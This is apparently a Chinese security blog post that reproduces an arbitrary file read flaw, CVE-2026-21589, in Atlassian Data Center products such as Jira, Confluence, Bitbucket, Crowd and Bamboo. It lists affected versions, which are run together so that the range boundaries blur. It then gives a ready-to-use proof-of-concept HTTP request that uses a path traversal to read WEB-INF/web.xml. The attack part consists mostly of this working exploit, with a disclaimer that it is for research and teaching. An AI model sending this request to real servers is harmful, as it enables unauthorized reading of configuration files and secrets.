复现Atlassian系统任意文件读取漏洞(CVE-2026-21589)
原创
维度攻防
维度攻防
维度攻防
2026年10月9日 21:26
安徽
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
1、影响范围
4.6.0 <= Bitbucket Data Center < 9.4.2610.0.0 <= Bitbucket Data Center < 10.2.810.3.0 <= Bitbucket Data Center < 10.5.15.10.0 <= Confluence Data Center < 9.2.2610.0.0 <= Confluence Data Center < 10.2.192.11.0 <= Crowd Data Center < 6.3.77.0.0 <= Crowd Data Center < 7.0.37.1.0 <= Crowd Data Center < 7.1.77.2.0 ≤ Crowd Data Center < 7.2.47.1.0 <= Jira Software Data Center < 9.12.4010.0.0 <= Jira Software Data Center < 10.3.2611.0.0 <= Jira Software Data Center < 11.3.123.1.0 <= Jira Service Management Data Center < 5.12.4010.0.0 <= Jira Service Management Data Center < 10.3.2611.0.0 <= Jira Service Management Data Center < 11.3.127.0.1 <= Bamboo Data Center < 10.2.2412.0.0 <= Bamboo Data Center < 12.1.12Crucible < 4.9.15Fisheye < 4.9.15
2、漏洞复现POC
GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1Host: 127.0.0.1:9443User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept-Encoding: gzip
读取web.xml文件内容
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论